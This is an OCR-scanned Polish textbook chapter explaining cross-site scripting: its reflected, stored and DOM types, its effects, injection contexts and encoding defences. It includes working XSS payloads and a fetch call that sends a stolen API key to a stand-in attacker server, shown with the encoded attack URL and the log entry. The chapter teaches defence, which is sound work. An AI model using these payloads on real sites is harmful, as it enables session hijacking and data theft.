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WSTEP

Cross-Site Scripting (XSS) to jedna z najczesciej wystepujacych podatnosci apli-
kacji webowych. Wedlug powszechnie przytaczanej definicji (np. z Wikipedii) jest
to atak na serwis WWW, ktory polega na mozliwos$ci osadzenia w tresci strony wias-
nego kodu JavaScript, co w konsekwencji moze doprowadzi¢ do wykonania niepo-
zadanych akcji przez uzytkownikow odwiedzajacych te strone. Najczesciej kojarzo-
na jest z ostawionym fragmentem kodu HTML <script>alert(1)</script>, cho¢
to tylko utamek tego, w jaki sposéb XSS do aplikacji mozna wprowadzi¢ oraz jakie
sa jego realne skutki.

Podatno$¢ XSS przedstawie z kilku perspektyw: zaczynajac od pokazania naj-
prostszego jej przyktadu, poprzez oméwienie skutkéw, a skoficzywszy na metodach
obrony (ze wskazaniem, dlaczego ta obrona nie zawsze jest prosta).

CZYM JEST XSS ORAZ TYPY PODATNOSCI XSS

- Podatnosci typu XSS najczesciej pojawiaja sie w aplikacji, gdy w kodzie HTML
strony wyswietlana jest treS¢ podana przez uzytkownika. Jednym z najbardziej klasycz-
nych przyktadéw jest wyszukiwarka. Rozpatrzmy przyktad przedstawiony na rysunku 1.

Rysunek 1. Prosta strona z wyszukiwarkq

Po wpisaniu dowolnej frazy w wyszukiwarce jest ona wyswietlana na kolejnej stronie
(rysunek 2). Warto zwr6ci¢ uwage, ze wyszukiwana fraza jest widoczna w adresie
URL (jako parametr search), jak réwniez dalej na samej stronie.

Rysunek 2. Przyktadowy wynik wyszukiwania
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Pierwszym, podstawowym testem, jaki mozna wykona¢ w celu weryfikacji, czy
istnieje w aplikacji potencjal na wystepowanie w aplikacji podatnosci XSS, jest
proba wpisania prostego kodu HTML. Na przyktad w miejsce wyszukiwanej frazy
mozna sprobowac uzy¢ kodu <u>test. Wynik takiego wyszukiwania widoczny jest
na rysunku 3.

Rysunek 3. Pierwsza proba wstrzykniecia kodu HTML

Jak widaé, wyszukiwana fraza jest teraz podkreslona. Gdyby spojrze¢ w kod HTML
wys$wietlonej witryny, znajdzie sie w nim fragment <div>Nie znaleziono wynikéw
dla "<u>test"</div>.

Poniewaz aplikacja w Zaden sposéb nie enkodowata tresci podanej przez uzyt-
kownika, w kodzie HTML pojawia sie tag <u> oznaczajacy podkreslenie tekstu.
W ten sposéb potwierdziliSmy, ze w aplikacji istnieje mozliwo$¢ podania wlasnego
kodu HTML. Nie oznacza to jeszcze automatycznie podatnosci XSS, tj. mozliwo$¢
wstrzykniecia wiasnego kodu HTML nie musi by¢ tozsama z mozliwo$cia wstrzyk-
niecia tagu pozwalajacego na wykonanie kodu JavaScript.

Zasadne jest zatem wykonanie kolejnego testu i sprawdzenie zachowania aplika-
cji dla frazy <script>alert(1)</script> (rysunek 4).

Rysunek 4. Préba wykonania ataku XSS

W takim przypadku przegladarka wyswietlita komunikat (alert) o tresci ,,1”, co jest wy-
starczajacym dowodem, ze aplikacja jest podatna na XSS. Dlaczego istnienie podatno-
$ci XSS najczesdciej udowadnia sie na przykladzie alert(1)? Z kilku wzgledéw:
1. Funkcja alert wyswietla sie na pierwszym planie. Nie sposob zatem jej nie
zauwazy¢.
2. alert wykonuje sie w JS* synchronicznie — co sprawia, Ze zaden dalszy kod
JS nie wykona sie, dopoki uzytkownik nie kliknie ok.

* JS — JavaScript. W dalszej czesci tekstu skrét i pelna nazwa tego jezyka programowania bedq stosowane zamiennie.



Czym jest XSS oraz typy podatnos$ci XSS

3. Pojawienie sie komunikatu dowodzi, Ze mozliwe jest wykonanie wlasnego
kodu JS. W miejscu, w ktérym wrzucono alert(1), mozna zmiesci¢ dowol-
ny inny kod JS, ktéry wykorzysta atak w celach przydatnych napastnikowi.

XSS jak na powyzszym przykladzie, tj. taki, w ktérym kod HTML/JS zawarty w do-
wolnym parametrze zapytania (np. GET, POST czy nawet w ciasteczkach) wySwietla-
ny jest nastepnie w odpowiedzi, to tzw. reflected XSS. W angielskiej nomenklaturze
moéwi sie, Ze warto$¢ parametru zostata w odpowiedzi odbita (ang. reflected), stad
nazwa. Praktyczne wykorzystanie takiego wariantu polega zazwyczaj na wystaniu
ofierze odpowiednio spreparowanego linku (np. e-mailem czy komunikatorem) za-
wierajacego ztosliwy kod.

Inny typowy przyktad XSS to tzw. persistent XSS lub stored XSS. W tym przypad-
ku ztosliwy kod JS zostaje zapisany w bazie danych (lub innym zewnetrznym sys-
temie) i wykonany automatycznie po przejsciu na odpowiednia podstrone. W takiej
sytuacji zazwyczaj nie ma potrzeby wysytania linku ofierze, bo mozna zaklada¢, ze
sama w konicu odwiedzi zaatakowana podstrone.

Jako przyklad takiego typu podatnosci XSS wezmy system blogowy, na ktérym
uzytkownicy moga zostawia¢ komentarze. Napastnik moze przy jednej z notek za-
mie$ci¢ komentarz o tre$ci: Bardzo fajny blog!<script>alert(1)</script>.

Gdy administrator bloga odwiedzi strone z lista komentarzy, powyzszy kod JS
zostanie automatycznie wykonany, skutkujac podatnoscia XSS.

W powyzszych przyktadach zakladamy, ze wykonanie wlasnego kodu JS zwia-
zane jest z konieczno$ciag dodania nowych tagéw HTML, jak réwniez z wystaniem
ztosliwych fragmentéw kodu jako cze$ci zapytania GET lub POST. Jesli w aplikacji
wdrozone sa mechanizmy obronne, takie jak WAF (Web Application Firewall), nie
mozna wykluczy¢, ze takie préby ataku zostang skutecznie zablokowane. W rzeczy-
wisto$ci jednak nie kazdy XSS musi wiazac sie z komunikacja z serwerem. Czasem
mozliwo$¢ wykonania wtasnego kodu JS wystepuje juz w istniejacym kodzie JS!
Jest to tzw. DOM-based XSS lub w skrécie DOM XSS.

Rozwazmy przyktad kodu JS z listingu 1.

Listing 1. Przyktadowy kod skutkujqcy podatnosciq DOM XSS

<script>
window.addEventListener('hashchange', ev => {
let id = unescape(location.hash.slice(1));
document.getElementById('imageholder').innerHTML = 2
“<img src="//example.com/image${id}.png">";
s

</script>

Przesledzmy najpierw, co dokladnie ten kod realizuje:
1. W pierwszej kolejnosci nashichujemy na zdarzenie onhashchange. Jest ono
wyzwalane, gdy w adresie URL zmieni sie ta cze$¢, ktora znajduje sie po haszu.
Czyli np. jesli w adresie URL znajdzie sie najpierw http://example.com#abc,
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a potem uzytkownik zmieni adres na http://example.com#def, to zdarzenie zo-
stanie wyzwolone.

2. Zmienna id bedzie zawierala cze$¢ URL-a znajdujaca sie za haszem. Czyli
jesli np. uzytkownik wejdzie na strone http://example.com#123, to zmienna
id bedzie miala warto$¢ 123.

3. Do elementu w HTML o id imageholder zostaje przypisany fragment HTML
z elementem <img>, ktérego atrybut src zawiera adres do obrazka zbudowa-
ny na bazie zmiennej id. Jesli np. wartos¢ id bedzie réwna 123, to wowczas
zostanie utworzony HTML <img src="//example.com/image123.png">.

Gdzie wiec lezy tutaj problem? Rodzi go budowanie kodu HTML na bazie wejscia uzyt-
kownika bez jakiegokolwiek enkodowania danych. Jezeli napastnik sprobuje przejsc
pod nastepujacy adres URL: http://example.com#qweqwe"%20onerror=alert(1)//, to
wowczas:

1. Zmienna id przyjmie wartos¢ qweqwe" onerror=alert(1)//.

2. Zostanie utworzony HTML o tre$ci <img src="//example.com/imageqweqwe"
onerror=alert(1)//.png">. Utworzony obrazek ma wiec nie tylko oczekiwa-
ny atrybut src, ale réwniez onerror — z naszym wlasnym kodem JS!

3. Przegladarka sprébuje pobra¢ obrazek z adresu http://example.com/image-
gweqwe. Po pewnym czasie, gdy okaze sie, Ze taki plik nie istnieje, przegla-
darka wykona zdarzenie onerror na tagu img, efektywnie wykonujac XSS.

Zauwazmy, ze w przeciwienstwie do wczesniejszych przykladéw tym razem nasz
ztosliwy kod w zZadnym momencie nie trafia do serwera — znajduje sie bowiem
po hashu w adresie URL, a ta cze$¢ adresu URL nie jest wysytana w komunikacji
HTTP/HTTPS. Wykonanie wlasnego kodu JS bylo mozliwe tylko dzieki takiemu
kodowi, ktéry juz w aplikacji istniat. W podanym przyktadzie niebezpieczne byto
przypisanie do innerHTML. W rzeczywistym kodzie tego typu groznych konstrukcji
moze by¢ znacznie wiecej (np. eval czy przypisanie do location); do tego tematu
wrocimy jeszcze w dalszej czesci tego rozdziahu.
Podsumowujac, w tej czesci przedstawione zostaly trzy standardowe typy podat-
nosci XSS:
» reflected XSS — gdy cze$¢ zapytania (np. parametry GET/POST, ciasteczka itp.)
jest przepisywana na wyjsciu,
» stored XSS — gdy ztosliwy kod JS zostaje zapisany w bazie,
DOM XSS - gdy wykonanie XSS jest mozliwe ze wzgledu na uzycie niebez-
piecznych funkcji w JS, takich jak eval czy innerHTML.

SKUTKI XSS
Wiemy juz, czym tak wasciwie jest XSS (czyli mozliwo$¢ wykonania wiasnego
kodu JS w kontekscie atakowanej aplikacji webowej) i poznalisSmy trzy standardo-
we typy podatno$ci XSS. Na razie jednak jedyny kod JS, jaki wykonywalisSmy, miat
posta¢ alert(1). Wspomnialem, zZe jest to wystarczajace do udowodnienia, ze taka
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podatno$¢ istnieje, ale zasadne jest w takim razie pytanie: czym w rzeczywistosci
moze skutkowaé XSS?

W ramach przyktadu rozwazmy bardzo prosta aplikacje WWW wygladajaca jak
na rysunku 5.

Rysunek 5. Przyktadowa aplikacja podatna na XSS

Kod tej aplikacji napisany w PHP zawarty jest w listingu 2.
Listing 2. Przyktadowa strona z XSS-em

<ldoctype html><meta charset=utf-8>

<body><h1>Panel admina</h1>

Twéj magiczny klucz API: <span id=apikey><?= md5($_SERVER[ 2
"HTTP_USER_AGENT']) ?></span><br>

<button id=button onclick="alert('Usunieto wszystkie rekordy')"> 2
Usun wszystkie rekordy</button>

<?=$ GET['xss']?>

</body>

Zakladamy wiec, ze ta aplikacja symuluje panel administratora jakiej$ wiekszej
i powazniejszej aplikacji, w ktérej z punktu widzenia napastnika wazne sa naste-
pujace kwestie:
» do aplikacji mozna poda¢ parametr GET o nazwie xss, ktory przepisywany
jest bez enkodowania. Jest wiec podatny na XSS,
» w aplikacji znajduje sie klucz API, ktéry napastnik moze zechcie¢ wykrasé,
» w aplikacji jest przycisk do usuwania wszystkich rekordéw, ktory napastnik
moze chcie¢ wykona¢.

Zacznijmy zatem od przygotowania pierwszego ztosliwego kodu, tj. wykradajacego
klucz API i wysylajacego go na serwer napastnika. Napisanie takiego kodu moze
wymagac podstawowej znajomosci jezyka JS.

Tutaj potrzebne sq dwa kroki:

1. Odczytanie klucza API za pomocg JavaScriptu.

2. Napisanie kodu JS, ktéry spowoduje wystanie tego klucza na zewnetrzny serwer.

Gdy przyjrzymy sie kodowi z listingu 2, mozemy zauwazy¢, ze klucz API przecho-
wywany jest w elemencie <span> o id réwnym apikey. Wystarczy wiec uzyc¢ stan-
dardowej funkcji z DOM API: getElementById, by znalez¢ obiekt w drzewie DOM,
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a nastepnie odczytac¢ jego wlasciwos$¢ innerText w celu odczytania tekstu, ktéry
przechowuje:

let apikey = document.getElementById('apikey').innerText

Drugim krokiem jest wystanie tego klucza na serwer napastnika. JS daje dziesiat-
ki mozliwos$ci, by to zrobi¢, uzyjmy wiec jednej z najkrétszych: funkcji fetch.
W najprostszym wywolaniu przyjmuje jeden argument bedacy adresem URL, ktory
ma zosta¢ pobrany. Kod bedzie wygladat nastepujaco:

let apikey = document.getElementById('apikey').innerText;

fetch('//serwer-napastnika.local?apikey=" + apikey);

Praktyczne wykorzystanie podatnosci wymaga jeszcze dodania tego kodu w para-
metrze, w ktérym mozna wykorzysta¢ XSS. Na przyklad tak jak ponizej:

http://localhost:12345/test.php?xss=%3Cscript¥%3Elet%20apikey%20=%20 »
document.getElementById(%27apikey%27).innerText;%20fetch(%27// 2
serwer-napastnika.local?apikey=%27%20%2b%20apikey) ;%3C/script%3E

Scenariusz ataku wymaga teraz podestania tak spreparowanego linku do administra-
tora aplikacji. Gdy tylko wejdzie na strone, na serwerze napastnika zostanie odebra-
ne zapytanie, widoczne w access_log serwera:

[Fri Jun @7 12:34:56 2019] 127.0.0.1:51050 [208]: /?apikey=675c74d5f114ba25a
49fbofacb2f70f

W ten sposob klucz API wyciekl do zewnetrznego serwera! W Internecie i litera-
turze mozna spotkac sie z okreSleniami, ze jest to wyciek lub eksfiltracja danych.

W analogiczny spos6b mozna doprowadzi¢ do wycieku dowolnych innych da-
nych z tej domeny, w ktérej dziata aplikacja podatna na XSS. Jezeli wiec mamy
XSS np. w Gmailuy, to jesteSmy w stanie za pomocg JS odczyta¢ tres¢ wszystkich
e-maili obecnie zalogowanego uzytkownika. Z kolei XSS w bankowosci webowej
pozwolitby na wydobycie numeréw rachunkéw, sald, list kontrahentéw, historii trans-
akgji itp. Innymi stowy: za pomoca XSS jesteSmy w stanie odczyta¢ dowolne dane
w kontekscie zalogowanego uzytkownika. Jest to pierwszy z typowych skutkéw XSS.

Wykorzystanie XSS w celu nacisniecia przycisku bedzie wygladato podobnie do
przykladu z wykradaniem klucza API. Zauwazmy w listingu 2, ze przycisk ma atry-
but id=button. Wystarczy wiec znéw go zlokalizowa¢ i wykona¢ metode click(),
by zasymulowac klikniecie:

document.getElementById( 'button').click()

Gdy administrator przejdzie na strone z tak przygotowanym kodem JS, efekt bedzie
taki jak na rysunku 6.

* Niektore znaki (np. nawiasy ostre: <i >) zostaly zamienione na tzw. URL-enkoding. Jest to typowe enkodowanie
znak6w uzywane w adresach URL.
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Rysunek 6. Przyktad podatnosci XSS pozwalajqcej na wykonanie dowolnej akcji
w kontekscie zalogowanego uzytkownika

Na tym przykladzie wida¢ drugi typowy skutek podatnos$ci XSS, tj. mozliwo$¢ wy-
konania dowolnej akcji w kontek$cie zalogowanego uzytkownika. Jesli wiec uzyt-
kownik danej strony jest uprawniony do usuwania rekordéw — mozemy to zrobic,
wykorzystujac podatnosé¢ XSS. Z kolei XSS w bankowosci webowej mogiby po-
zwoli¢ na zlecenie przelewu czy dodanie nowego odbiorcy zdefiniowanego itp.

Pamietajmy zatem, zZe za kazdym razem, gdy w Internecie widzimy XSS, w kt6-
rym jako przykladowego kodu uzyto alert(l), to w tym samym miejscu moze
znalez¢ sie kod pozwalajacy:

» wykrada¢ dowolne dane w kontekscie zalogowanego uzytkownika,

» wykonywa¢ dowolne operacje w kontekscie zalogowanego uzytkownika.

Innymi stowy, XSS pozwala na przejecie dostepu do sesji uzytkownika.

W rzeczywisto$ci skutkéw podatnosci XSS moze by¢ wiecej, np. skanowanie
portéw', atakowanie przegladarki uzytkownika (np. uruchomienie eksploita na nie-
aktualng wersje przegladarki), przechwytywanie wciskanych klawiszy na stronie
(keylogger), ataki phishingowe i wiele, wiele innych. Wszystkie zwigzane sg z kre-
atywnym uzyciem mozliwosci, jakie oferuje JavaScript. Istnieja réwniez narzedzia,
takie jak BeEF?, ktére zawieraja gotowe moduly pozwalajqce na dalsze wykorzysta-
nie (post-eksploitacje) XSS.

KONTEKSTY XSS

Kluczowym tematem, ktéry pozwala zrozumie¢, dlaczego XSS-y w dzisiejszych
aplikacjach sa nadal tak rozpowszechnione, sa tzw. konteksty XSS. Do tej pory
w niniejszym rozdziale przyjmowano zalozZenie, ze XSS wiaze sie zawsze z potrze-
ba dodania nowego tagu HTML (nawet w przykladzie z DOM XSS, gdzie uzyta
byta wlasciwos$¢ innerHTML). W rzeczywistosci jednak dane podawane przez uzyt-
kownika moga ladowa¢ w wielu miejscach kodu HTML: moze to by¢ zawarto$¢ tagu,
atrybut, adres URL czy nawet string w JS. Okazuje sie, ze w tych przypadkach rézna
bedzie zar6wno metoda ataku, jak i obrony przed wstrzyknieciami zlosliwego kodu.

W wielu poradnikach (zwlaszcza tych nizszej jakosci) dotyczacych XSS moz-
na spotka¢ sie z twierdzeniem, ze ochrona przed XSS to wylacznie enkodowanie
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danych podawanych przez uzytkownika do postaci tzw. encji HTML. Enkodowanie
to wyglada nastepujaco:

» znak " (cudzystéw) zamieniany jest na &quot;

» znak ' (apostrof) zamieniany jest na &#39;

» znaki < > zamieniane sa odpowiednio na &1t; i &gt;

» znak & zamieniany jest na &amp;

Metoda wydaje sie shuszna, bo rzeczywiscie zabezpiecza przed podatno$cia w naj-
popularniejszych wariantach. Na przyktad uzycie takiego enkodowania spowoduje,
ze we wczesniejszym przykladzie z wyszukiwarka kod <div>Nie znaleziono wy-
nikéw dla "<u>test"</div> zamienitby sie w: <div>Nie znaleziono wynikéw dla
"&Lt;ukgt;test"</div>.

Encje &1t; i &gt; powoduja, ze przegladarka wyswietli je jako znaki < i >, ale
tracg one swe specjalnie znaczenie jako znaki otwierajace i domykajace tagi HTML.

Dlaczego taka metoda zabezpieczenia nie zawsze jest wystarczajaca? Rozwaz-
my nastepujacy przyktad: <img src=/images/[id].png>.

Zakladamy, ze aplikacja buduje fragment HTML, bazujac na parametrze id
podawanym przez uzytkownika. Zakladamy réwniez, Ze w tym parametrze znaki
specjalne HTML sa zamieniane na encje, jak opisano powyzej. Przed dalsza lektura
tego rozdziatu sugeruje zastanowic sie przez chwile, jaka warto$¢ parametru id po-
zwoli na wykonanie wiasnego kodu JS.

Zauwazmy, ze warto$¢ atrybutu src nie jest umieszczona w cudzystowach ani
apostrofach. W takiej sytuacji parsery HTML koricza warto$¢ parametru na do-
wolnym bialym znaku (w najczestszym wariancie: spacji). Oznacza to, Zze w tym
wstrzyknieciu nie potrzebujemy wcale zadnego ze znakéw, ktére zamieniane sa na
encje, a utworzenie nowego atrybutu nie wymaga niczego wiecej niz tylko spacji.

Jezeli wiec warto$¢ id wyniesie "xxxyyy onerror=alert(1)//", to w HTML po-
jawi sie nastepujacy kod: <img src=/images/xxxyyy onerror=alert(1)//.png>.

Przegladarka sprébuje pobra¢ obrazek spod adresu /images/xxxyyy, a gdy to
sie nie uda, wykona zdarzenie onerror, w konsekwencji wykonujac kod JS podany
przez napastnika. W tym wstrzyknieciu nie zostal wiec zastosowany zaden znak
specjalny HTML, a mimo to mozliwe bylo wykorzystanie XSS.

Powyzszy przyktad jest tylko kropla w morzu. Mozliwych kontekstéw XSS jest
zdecydowanie wiecej, a ponizej zostaty przedstawione najpopularniejsze z nich.
W kazdym z przykltadéw zaktadamy, ze napastnik ma mozliwos¢ wstrzykniecia
wlasnego kodu w miejsce symbolu [XSS].
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Tabela 1. Zestawienie typowych kontekstow XSS

FRAGMENT
KODU

METODA
ATAKU

METODA
OBRONY

FRAGMENT
KODU

METODA
ATAKU

METODA
OBRONY

WSTRZYKNIECIE W ZAWARTOSCI TAGU

<div>[XSS]</div>

Najbardziej klasyczny wariant. Atak wymaga dodania wylacznie wlasnego
tagu HTML, np.:

<div><img src onerror=alert(1)></div>

Zamiana znakéw specjalnych HTML na encje.

WSTRZYKNIECIE W ZAWARTOSCI ATRYBUTU

<div class="[XSS]"></div>

Atak wymaga najpierw ucieczki z atrybutu class. W dalszej kolejnos$ci moz-
liwe jest albo utworzenie nowego atrybutu HTML wyzwalajacego JS, albo

dodanie catkiem nowego tagu:
Wariant I: <div class="" onmouseover=alert(l) "></div>
Wariant II: <div class=""><script>alert(1)</script>"></div>

Zamiana znakéw specjalnych HTML na encje.

WSTRZYKNIECIE W ZAWARTOSCI ATRYBUTU BEZ CUDZYSLOWOW/APOSTROFOW

FRAGMENT
KODU

METODA
ATAKU

METODA
OBRONY

FRAGMENT
KoDU

METODA
ATAKU

METODA
OBRONY

FRAGMENT
KODU

<div class=[XSS]></div>

Przyklad podobny do poprzedniego, z tq r6znica, ze brak cudzystowéw/apostroféw
wokot wartosci atrybutu umozliwia uzycie spacji, by dodac wiasny kod JS, np.:
<div class=x onclick=alert(1)></div>

Jezeli aplikacja generuje dynamicznie HTML, lepiej wartosci atrybutéw umiesz-
cza¢ wewnatrz cudzystowéw/apostroféw — ulatwia to zabezpieczenie przed XSS.

WSTRZYKNIECIE W ATRYBUCIE HREF

<a href="[XSS]"></a>

Na pierwszy rzut oka ten przyklad jest analogiczny do poprzednich i wymaga
wylacznie zabezpieczenia przed ucieczka z atrybutu href. W praktyce jest to
niewystarczajace, bowiem warto$¢ atrybutu href jest adresem URL, ktory
mozna naduzy¢ poprzez uzycie protokotu javascript:. Klikniecie w link jak
ponizej spowoduje wykonanie kodu JS:

<a href="javascript:alert(1)"></a>

Podobny problem moze dotyczy¢ innych atrybutéw przyjmujacych adresy
URL, takich jak src czy action.

Jezeli uzytkownik moze w aplikacji poda¢ adres URL, walidujmy, czy proto-
kot w adresie to HTTP/HTTPS. Odrzucajmy wszystkie pozostate.

WSTRZYKNIECIE W STRINGU WEWNATRZ KODU JS

<script>var username="[XSS]";</script>
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METODA
ATAKU

METODA
OBRONY

FRAGMENT
KoDU

METODA
ATAKU

W tym przyktadzie znajdujemy sie wewnatrz stringu w JS. W pierwszej ko-
lejnosci nalezy wiec z tego stringa uciec, a nastepnie wykona¢ wiasny kod JS:

<script>var username="";alert(1)//";</script>

Wiele aplikacji probuje sie broni¢ przed tym atakiem, uniemozliwiajac wyj-
Scie ze stringu i enkodujac znak " do postaci \". Zak}tadajac, ze jest to jedyna
zamiana, to jest ona niewystarczajgca. Jesli bowiem dodamy nasz wiasny znak
\, wowczas \" zostanie zamienione na \\" — sprawiajac, ze znak cudzystowu
znow bedzie zamykat string.

Zakladajac nawet, ze zostalo to dobrze zrobione, nadal istnieje bardzo czesto
stosowana metoda, by pomimo wszystko wykona¢ wiasny kod JS. Zauwazmy,
ze enkodowanie znaku cudzystowu jest de facto spojrzeniem wytacznie na
kontekst JS powyzszego kodu. Ale nie zapominajmy, ze ten kod znajduje sie
w tagu <script>, ktéry przegladarka musi wczesniej przetworzy¢. Uprasz-
czajac, mozna zalozy¢, ze podczas parsowania HTML przegladarka, gdy tylko
zobaczy otwarcie tagu <script>, szuka, gdzie jest jego zamkniecie, nie zasta-
nawiajqc sie na razie nad tym, co jest w Srodku. Zobaczmy wiec, co sie dzieje,
jesli wpiszemy nasze wlasne zamkniecie i otwarcie tagu <script>:

<script>var username="</script><script>alert(1)</script>";</script>

Pierwszy tag <script> zawiera naturalnie blad skladniowy (niedomkniety
string). Z perspektywy napastnika nie ma to jednak zZadnego znaczenia, jako
ze nastepny tag <script> wykona sie normalnie — umozliwiajac tym samym
wykorzystanie XSS.

Zalecang metoda obrony jest enkodowanie wszystkich znakéw niealfanu-
merycznych do postaci UTF-16, tj. \uXXXX. W takim przypadku nie bedzie
mozliwosci ani ucieczki ze stringu, ani z catego tagu <script>, np.:
<script>var username="\u@03c\ue02fscript\ueo3e\uod3cscript\

u@03ealert\u0028\u0031\u0029\uvL3c\udL2fscript\uov3e”;
</script>

WSTRZYKNIECIE W ATRYBUCIE ZE ZDARZENIEM JS
<div onclick="change('[XSS]"')">Userl</div>

Na pierwszy rzut oka wydaje sie, ze mozna w takiej sytuacji zastosowac standardo-
wa ochrone jak przy atrybutach HTML. Zaktadajac, ze taka ochrona jest stosowana,
zobaczmy, co sie wydarzy, jesli na wejsciu zostanie podany kod ') ;alert(1)//:

<div onclick="change('&#39;);alert(1)//")">Userl</div>

Patrzac na czysty kod HTML, w pierwszej chwili trudno moze by¢ dostrzec,
dlaczego wykonanie XSS bedzie tutaj skuteczne. Znak apostrofu zostat za-
mieniony na &#39;, jednak jest to w tym przypadku niewystarczajace, bo-
wiem przegladarka automatycznie dekoduje wszystkie encje HTML znajduja-
ce sie w warto$ciach atrybutéw. Silnik JS zobaczy wiec kod w postaci:

change('"');alert(1)//")

Przyklad ten pokazuje, Ze do ochrony przed XSS nie mozna podchodzi¢ lek-
komyslnie. Z jednej strony uzyty zostat standardowy sposéb na zabezpiecze-
nie sie przed XSS dla atrybutow; z drugiej — pewne atrybuty maja specjalne
znaczenie, np. zawarto$¢ atrybutu onclick jest traktowana jako kod JS, wiec
napastnik nie ma potrzeby uciekania z tego atrybutu.



Konteksty DOM XSS

METODA W przypadku zagniezdzen kontekstéw nalezy pamieta¢ o odpowiedniej ochro-
OBRONY nie dla kazdego z nich. Tutaj jest to uzywanie enkodowania zaré6wno wiasci-
wego dla atrybutéw HTML, jak i dla stringéw JS, np.:

<div onclick="change('\u0027);alert(1)//")">Userli</div>
WSTRZYKNIECIE W ATRYBUCIE HREF WEWNATRZ PROTOKOLU JS

FRAGMENT <a href="javascript:change('[XSS]"')">CLICK</a>
KODU

METDA W tym przypadku warto zauwazy¢, ze mamy tutaj polaczonych wiele kontek-

ATAKU stow, w tym kontekst atrybutu HTML oraz stringu JS. O jednym kontekscie
jednak w praktyce bardzo czesto sie zapomina, chodzi tu mianowicie o adres
URL. Zwr6émy uwage, ze jesteSmy w adresie URL, w ktérym uzywany jest
protokét javascript:. Przegladarki wspieraja w tym kontekscie jeszcze tzw.
URL-encoding, tj. mozliwo$¢ zapisywania dowolnych bajtéw jako %xy, gdzie
w miejsce xy nalezy wstawi¢ kod heksadecymalny danego bajtu. I tak, np. %41
to litera A, a %27 to znak apostrofu:

<a href="javascript:change('%27);alert(1)//")">CLICK</a>

W tym przyktadzie przegladarka zdekoduje %27 do zwyklego apostrofu i sil-
nik JS zobaczy ponizszy kod, ktéry umozliwi juz przeprowadzenie ataku z wy-
korzystaniem XSS:

change('');alert(1)//")

METODA Skuteczna metoda obrony przed tym atakiem byloby zastosowanie enkodowa-
OBRONY  nja na trzech kolejnych warstwach:

1. Enkodowanie wewnatrz stringu JS.
2. Enkodowanie dla URL-enkodingu.
3. Enkodowanie encji HTML.

W praktyce wida¢, ze bardzo tatwo o ktoérejs z tych metod zapomnie¢, wiec le-
piej tego typu kod — jak w tym przykladzie — zrefaktorowa¢, aby dynamicznie
generowany kod nie znajdowat sie wewnatrz atrybutu, w ktérym jest kod JS.

KONTEKSTY DOM XSS

Jak juz wspomniatem, wykonanie wlasnego kodu JS nie musi wiaza¢ sie z two-
rzeniem kodu HTML. Do podobnych skutkéw moze tez doprowadzi¢ uzywanie pew-
nych funkgcji JS, takich jak eval. Zasadniczo z poziomu JS mozna zetkng¢ sie z trzema
typami funkcji, ktérych uzycie jest niebezpieczne.

Funkcje typu eval

Cze$¢ funkcji/metod przyjmuje jako argument string zawierajacy kod JS do wy-
konania. Najpopularniejsza z nich jest eval, ale grozne s réwniez Function czy
setTimeout (w wariancie, w ktérym pierwszy argument jest stringiem). Najczesciej
wykorzystanie tego typu funkcji wiaze sie z konkatenacja danych podanych przez
uzytkownika z innym fragmentem kodu JS, np.:

eval("console.log('Hello " + user + " 1')")
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Zakladamy, ze uzytkownik ma kontrole nad zawartoscia zmiennej user. Jesli ta
zmienna przyjmie warto$¢ ') ;alert(1)//, to eval spowoduje wykonanie kodu:

console.log('Hello ");alert(1)//!")

Co dowodzi mozliwosci wykonania wlasnego kodu.

W celu ochrony przed tego typu podatnosciami co do zasady zaleca sie, by nie
uzywac funkcji typu eval na danych pochodzacych z niezaufanych Zrédet (np. od
uzytkownika). Jezeli z jakiego$ powodu uzywanie takich funkcji jest niezbedne, na-
lezy pomysle¢ o enkodowaniu lub walidowaniu danych. W powyzszym przyktadzie
enkodowane powinno by¢ wyjscie ze stringu (znak apostrofu oraz znak backslasha).

Funkcje przyjmujace kod HTML

W przegladarkowym DOM API istnieje duza liczba funkcji lub wiasciwosci,
ktére akceptuja kod HTML, np. innerHTML, outerHTML, insertAdjacentHTML,
document.write. Jezeli w kodzie uzywane sa te funkcje z danymi pochodzacymi
od uzytkownika, to nalezy pamieta¢ o enkodowaniu danych — zgodnie z opisanymi
wczesniej zasadami dotyczacymi kontekstow XSS.

Funkcje przyjmujace adres URL

Prawdopodobnie najmniej intuicyjnym punktem, gdzie mozna spotka¢ DOM XSS,
sa funkcje i wlasciwosci, ktore przyjmuja adres URL. Najprostszym przypadkiem
jest po prostu obiekt location i jego metody, ale réwniez np. wlasciwosci href
czy src obiektéw typu HTMLAnchorElement lub HTMLIFrameElement. W tym przy-
padku groZne jest przypisanie URL-a z protokolem javascript:, ktory — jak juz
wiemy — pozwala na wykonanie wlasnego kodu JS. Ponizszy kod spowoduje wiec
wykonanie XSS:

location = 'javascript:alert(1)'

Ogolnie funkcje i wtasciwosci w JS, ktére moga pozwoli¢ na wykonanie nowego
kodu JS (a wiec postuzy¢ do wykonania XSS), sa nazywane w angielskiej nomen-
klaturze sinks (dostownie: zlew). Obok nich istnieja tez sources (Zrédta), z ktérych
kod JS moze pobiera¢ dane. Ja osobiscie thumacze te pojecia na polski jako punkty
wejscia (sources) i punkty wyjscia (sinks). Mozna to rozumie¢ tak, ze ztosliwy kod
jest wprowadzany przez punkty wej$cia do aplikacji, a punkty wyj$cia powoduja, ze
rzeczywiscie sie on wykonuje.

Przykladowymi punktami wejScia moga by¢ np. obecny adres URL strony (loca-
tion), ciasteczka (document.cookie) czy komunikacja typu postMessage. Poszu-
kiwanie podatnosci typu DOM XSS polega wiec zazwyczaj na analizie kodu JS pod
katem wystepujacych w nich punktéw wejscia i sprawdzeniu, czy zmienne bedace
pod kontrola uzytkownika wystepuja gdzies w punktach wyjécia bez zabezpieczenia.

By lepiej zrozumie¢ idee poszukiwania podatnosci DOM XSS, zobaczmy trzy
przyklady oparte na realnych aplikacjach. Punkty wejscia i wyjscia w kazdym z przy-
kladéw kodu sq zaznaczone na czerwono.



Konteksty DOM XSS

Tabela 2. Przyktady podatnosci DOM XSS

FRAGMENT
KODU:

ANALIZA:

FRAGMENT
KODU:

ANALIZA:

PRZYKLAD: LOCATION.HASH | INNERHTML

window.addEventListener('hashchange', ev => {
let id = unescape(location.hash.slice(1));
document.getElementById('imageholder').innerHTML = 2
“<img src="//example.com/image${id}.png">";

s

Ten sam przyklad znalaz} sie réwniez na poczatku tego rozdzialu. Punktem
wejscia, czyli miejscem, z ktérego pobierane sa dane pochodzace od uzyt-
kownika, jest location.hash. Punktem wyjscia z kolei jest przypisanie do
innerHTML, a wiec mozliwo$¢ podania wilasnego kodu HTML. Wystarczy
wiec tylko wymydli¢, jaki kod nalezy wpisa¢, by przypisanie do innerHTML
